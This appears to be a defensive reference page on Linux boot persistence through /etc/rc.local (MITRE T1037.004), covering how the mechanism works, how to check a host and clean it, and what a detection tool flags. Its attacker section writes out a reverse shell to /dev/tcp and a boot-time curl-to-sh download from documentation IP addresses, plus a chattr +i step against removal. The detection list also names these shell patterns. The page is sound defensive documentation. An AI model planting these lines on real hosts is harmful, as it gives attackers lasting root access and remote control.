Skip to content

At boot

rc.local: Linux Boot Persistence via /etc/rc.local

How /etc/rc.local runs commands as root at every boot through rc-local.service, how attackers plant payloads in it, and how to check and clean a host.

MITRE ATT&CK
T1037.004
Tactics
Persistence, Privilege escalation
Runs
At boot
Set up by
root
Locations
  • /etc/rc.local
  • /etc/rc.d/rc.local
  • /usr/lib/systemd/system/rc-local.service

How it works

/etc/rc.local is the oldest "run this at boot" hook on Linux: a shell script executed once, as root, at the end of the multi-user boot. It survives on systemd hosts as a compatibility shim, which is why it still matters.

  • On systemd hosts, systemd-rc-local-generator runs at every boot and every systemctl daemon-reload. If the rc.local path exists and is executable, it links rc-local.service into multi-user.target under /run/systemd/generator/. Nothing is "enabled" in /etc/systemd/system: the executable bit is the switch. The unit runs /etc/rc.local start with Type=forking, no timeout and RemainAfterExit=yes, so the script must return; whatever it leaves running stays in the unit's cgroup.
  • Execution context: root, no login shell and no profile, / as working directory, systemd's default PATH, stdout and stderr in the journal. The shebang picks the interpreter; Debian's traditional #!/bin/sh -e stops at the first failing command, and nothing after exit 0 ever runs.
  • Debian and Ubuntu stopped shipping the file years ago. Admins create it by hand, so on a current Debian-family host an /etc/rc.local was put there by someone, and dpkg normally owns nothing at that path. Debian's systemd package adds a drop-in that orders the unit after network-online.target.
  • RHEL, CentOS and Fedora use /etc/rc.d/rc.local, with /etc/rc.local a symlink to it. RHEL 7 and 8 ship the file with mode 0644 and a comment asking you to chmod +x it: until then it is inert, and one chmod turns it on.
  • Without systemd, Debian's SysV /etc/init.d/rc.local calls it. OpenRC (Alpine, Gentoo) has its own equivalent: executable /etc/local.d/*.start scripts run by the local service.

Where it lives

PathWhatWho can write it
/etc/rc.localThe script on Debian, Ubuntu and most others; a symlink on RHEL-family systemsroot
/etc/rc.d/rc.localThe real file on RHEL, CentOS, Fedoraroot
/usr/lib/systemd/system/rc-local.serviceThe unit (/lib/systemd/system/ without merged /usr)packages
/usr/lib/systemd/system-generators/systemd-rc-local-generatorDecides at boot whether the unit runspackages
/run/systemd/generator/multi-user.target.wants/rc-local.serviceRuntime link created by the generatorsystemd, at boot
/etc/systemd/system/rc-local.service.d/*.confDrop-ins that change the unitroot
/etc/init.d/rc.localSysV wrapper on non-systemd Debianroot
/usr/sbin/halt.localShutdown counterpart, run by halt-local.service when executable, on builds that support itroot
/etc/local.d/*.startOpenRC equivalentroot

How attackers use it

rc.local needs root to write, and gives back root at every boot with no unit file, timer or package to explain. It is a favourite second or third foothold next to cron and systemd.

A line added to an existing script

The payload goes in before exit 0 and is backgrounded so the boot is not held up:

#!/bin/sh -e
/usr/local/sbin/fw-restore
nohup /usr/lib/.kworker/kworkerd >/dev/null 2>&1 &
exit 0

A line appended after exit 0 never runs: a sign of a careless or scripted install, and still worth reading.

Creating the file and switching it on

On Debian-family hosts the file usually does not exist, so the attacker creates it and sets the executable bit. On RHEL 7 and 8, appending to the shipped file and running chmod +x /etc/rc.d/rc.local is enough.

printf '#!/bin/bash\n(bash -i >& /dev/tcp/203.0.113.10/443 0>&1 &)\n' > /etc/rc.local
chmod +x /etc/rc.local

Fetching the payload at each boot

Nothing but the command is stored on disk; the server decides what runs.

(curl -fsSL http://198.51.100.7/i.sh || wget -qO- http://198.51.100.7/i.sh) | sh >/dev/null 2>&1 &

Protecting the file

chattr +i /etc/rc.local

The immutable attribute makes rm and editors fail with "Operation not permitted", even for root, and defeats naive cleanup scripts.

How to check a host

On a live host

ls -l /etc/rc.local /etc/rc.d/rc.local      # present? executable? a symlink?
stat -L /etc/rc.local                       # modify and change times
lsattr /etc/rc.local                        # an 'i' blocks removal
cat -A /etc/rc.local                        # shows carriage returns and escape sequences that hide lines
systemctl status rc-local.service           # did it run this boot, which processes it left behind
systemctl cat rc-local.service              # the unit and its drop-ins
journalctl -b -u rc-local.service           # its output this boot

The CGroup: part of systemctl status lists every process the script started that is still running: on most servers it should be empty or show a known daemon. For each absolute path the script calls, check the program too (ls -l, then its owner below).

Ownership: on Debian and Ubuntu, dpkg -S /etc/rc.local should find no package. On RHEL-family systems, rpm -qf /etc/rc.d/rc.local names the owner and rpm -Vf /etc/rc.d/rc.local shows M for a mode change (the chmod +x that enabled it) and 5 for changed content.

Offline, from a collection

Read etc/rc.local and etc/rc.d/rc.local from the archive. Their mode is in the tar headers: tar -tvzf persist-host.tar.gz etc/rc.local etc/rc.d/rc.local shows whether the file was executable and when it last changed. If the journal was collected, journalctl -D <collection>/var/log/journal -u rc-local.service shows the boots where it ran and what it printed. On a disk image /run is gone, so judge by the executable bit and the generator rules above. The collection command archives all of /etc, and Linux Persistence reads it offline in the browser.

What Linux Persistence flags

The tool reads /etc/rc.local and /etc/rc.d/rc.local and lists every command line as its own entry (comments, blank lines and exit 0 are skipped; \ continuations are joined), with boot as the trigger.

  • rc.local runs commands at boot (low): on every line, so the file is never silently present.
  • Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code: when the line matches the shared command heuristics (curl … | sh, /dev/tcp/, nc -e, base64 -d | sh, python -c and similar).
  • Sets LD_PRELOAD and Turns shell history off: when the line exports LD_PRELOAD or LD_AUDIT, or disables history.
  • Makes a file immutable: when it runs chattr +i.
  • Detaches from the session: on nohup, setsid, disown, screen -dm or tmux new -d (a plain trailing & is not flagged).
  • Runs from a temporary folder, Runs from a hidden folder, Embedded encoded blob: a path under /tmp, /var/tmp or /dev/shm, an unusual dot-folder, or a long base64 or hex string.
  • Differs from package package (low): when the dpkg database is in the collection, owns the file and its checksum no longer matches. An unowned rc.local gets no "Not installed by any package" flag, because the file is normally hand-made.
  • Changed date (low): the file changed in the 7 days before the newest file of the collection.
  • program also runs from mechanisms: the line starts an absolute path outside /usr/bin, /usr/sbin, /bin and /sbin that another mechanism (a cron job, a unit, an init script) also starts.

Limits: the tool sees file contents, not modes, so it cannot tell whether rc.local is executable and therefore runs; check the tar listing. Lines after exit 0 are still listed. Scripts that rc.local calls are not read, multi-line constructs (if … fi) appear line by line, and OpenRC's /etc/local.d is not parsed.

Cleaning up

  1. Preserve first. Copy the file with its times to your evidence store and hash it, together with the unit's state and the processes it started:

    EVID=/mnt/evidence/$(hostname); mkdir -p "$EVID"
    cp -a /etc/rc.local /etc/rc.d/rc.local "$EVID"/ 2>/dev/null
    sha256sum /etc/rc.local > "$EVID"/rc.local.sha256
    systemctl status rc-local.service --no-pager > "$EVID"/rc-local.status
    

    For each suspicious process in the cgroup, save /proc/<pid>/exe, /proc/<pid>/cmdline and its network connections before you kill it.

  2. Disable. Clear the attribute (chattr -i), then remove the planted lines, or the whole file if the host does not need it. chmod -x alone stops it at the next boot. systemctl stop rc-local.service kills what is left in its cgroup, legitimate daemons included.

  3. Look for the same payload elsewhere. A program started from rc.local is usually also planted in cron, a systemd service or an init script. Search for its path and file name across /etc, /usr/lib/systemd, the spools and the home folders.

  4. Rotate. The code ran as root at every boot: treat the host as root-compromised and rotate whatever root could read (SSH keys, service credentials, tokens in /etc).

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: